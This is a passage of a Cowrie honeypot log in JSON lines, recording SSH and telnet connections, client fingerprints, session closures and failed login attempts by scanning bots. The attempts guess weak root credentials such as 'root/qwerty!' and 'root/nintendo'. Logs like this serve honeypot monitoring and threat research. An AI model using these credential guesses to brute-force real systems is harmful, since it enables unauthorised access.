{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51672,"dst_ip":"10.17.0.5","dst_port":23,"session":"94de1f4b696c","protocol":"telnet","message":"New connection: 192.119.13.58:51672 (10.17.0.5:23) [session: 94de1f4b696c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:29.393219Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aa112777d20","protocol":"telnet","message":"New connection: 192.119.13.58:56816 (10.17.0.5:23) [session: 9aa112777d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:30.559584Z"}
{"eventid":"cowrie.session.closed","duration":37.47665858268738,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:08.036134Z","src_ip":"192.119.13.58","session":"9aa112777d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38274669647217,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:08.775830Z","src_ip":"192.119.13.58","session":"94de1f4b696c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":40306,"dst_ip":"10.17.0.5","dst_port":22,"session":"928eea7b28ac","protocol":"ssh","message":"New connection: 80.225.252.182:40306 (10.17.0.5:22) [session: 928eea7b28ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:11.205926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:11.211123Z","src_ip":"80.225.252.182","session":"928eea7b28ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:11.419122Z","src_ip":"80.225.252.182","session":"928eea7b28ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmail","message":"login attempt [root/gmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:12.311388Z","src_ip":"80.225.252.182","session":"928eea7b28ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:13.511462Z","src_ip":"80.225.252.182","session":"928eea7b28ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41684,"dst_ip":"159.203.135.109","dst_port":22,"session":"529bf125a41c","protocol":"ssh","message":"New connection: 194.59.206.2:41684 (159.203.135.109:22) [session: 529bf125a41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:17.251363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:17.256377Z","src_ip":"194.59.206.2","session":"529bf125a41c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:17.348276Z","src_ip":"194.59.206.2","session":"529bf125a41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:17.445534Z","src_ip":"194.59.206.2","session":"529bf125a41c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"418c5c356b9d","protocol":"telnet","message":"New connection: 192.119.13.58:57230 (10.17.0.5:23) [session: 418c5c356b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:24.561560Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27ce52716c0","protocol":"telnet","message":"New connection: 192.119.13.58:41820 (10.17.0.5:23) [session: a27ce52716c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:40.688932Z"}
{"eventid":"cowrie.session.closed","duration":0.005420684814453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:40.694199Z","src_ip":"192.119.13.58","session":"a27ce52716c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34788,"dst_ip":"10.17.0.5","dst_port":22,"session":"82d583fe9bd0","protocol":"ssh","message":"New connection: 103.173.227.57:34788 (10.17.0.5:22) [session: 82d583fe9bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:41.443378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:41.447572Z","src_ip":"103.173.227.57","session":"82d583fe9bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:41.690384Z","src_ip":"103.173.227.57","session":"82d583fe9bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56318,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f9a754d798e","protocol":"ssh","message":"New connection: 147.45.211.215:56318 (10.17.0.5:22) [session: 7f9a754d798e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:41.903327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:41.907397Z","src_ip":"147.45.211.215","session":"7f9a754d798e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:42.086518Z","src_ip":"147.45.211.215","session":"7f9a754d798e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazda6","message":"login attempt [root/mazda6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:42.408118Z","src_ip":"103.173.227.57","session":"82d583fe9bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!","message":"login attempt [root/qwerty!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:42.620925Z","src_ip":"147.45.211.215","session":"7f9a754d798e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:43.650104Z","src_ip":"103.173.227.57","session":"82d583fe9bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:22:43.801208Z","src_ip":"147.45.211.215","session":"7f9a754d798e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.98837351799011,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:01.549823Z","src_ip":"192.119.13.58","session":"418c5c356b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0032970905304,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:04.029935Z","src_ip":"181.233.89.140","session":"12074df9d009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":52518,"dst_ip":"10.17.0.5","dst_port":22,"session":"9360073fc41b","protocol":"ssh","message":"New connection: 157.230.190.155:52518 (10.17.0.5:22) [session: 9360073fc41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:22.920670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:22.924513Z","src_ip":"157.230.190.155","session":"9360073fc41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:22.928910Z","src_ip":"157.230.190.155","session":"9360073fc41b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nintendo","message":"login attempt [root/nintendo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:22.980479Z","src_ip":"157.230.190.155","session":"9360073fc41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:23.988584Z","src_ip":"157.230.190.155","session":"9360073fc41b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56374,"dst_ip":"159.203.135.109","dst_port":22,"session":"98972577f183","protocol":"ssh","message":"New connection: 89.223.69.22:56374 (159.203.135.109:22) [session: 98972577f183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:26.403142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:26.407286Z","src_ip":"89.223.69.22","session":"98972577f183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:26.519250Z","src_ip":"89.223.69.22","session":"98972577f183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwer","message":"login attempt [root/12345qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:26.867516Z","src_ip":"89.223.69.22","session":"98972577f183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:27.982591Z","src_ip":"89.223.69.22","session":"98972577f183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45078,"dst_ip":"159.203.135.109","dst_port":22,"session":"76d8a9895f8f","protocol":"ssh","message":"New connection: 80.94.92.184:45078 (159.203.135.109:22) [session: 76d8a9895f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:33.030313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:33.356603Z","src_ip":"80.94.92.184","session":"76d8a9895f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:33.360089Z","src_ip":"80.94.92.184","session":"76d8a9895f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:34.442099Z","src_ip":"80.94.92.184","session":"76d8a9895f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:23:35.731013Z","src_ip":"80.94.92.184","session":"76d8a9895f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41806,"dst_ip":"159.203.135.109","dst_port":22,"session":"5346f95f1551","protocol":"ssh","message":"New connection: 109.172.54.111:41806 (159.203.135.109:22) [session: 5346f95f1551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:20.889348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:20.937704Z","src_ip":"109.172.54.111","session":"5346f95f1551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","h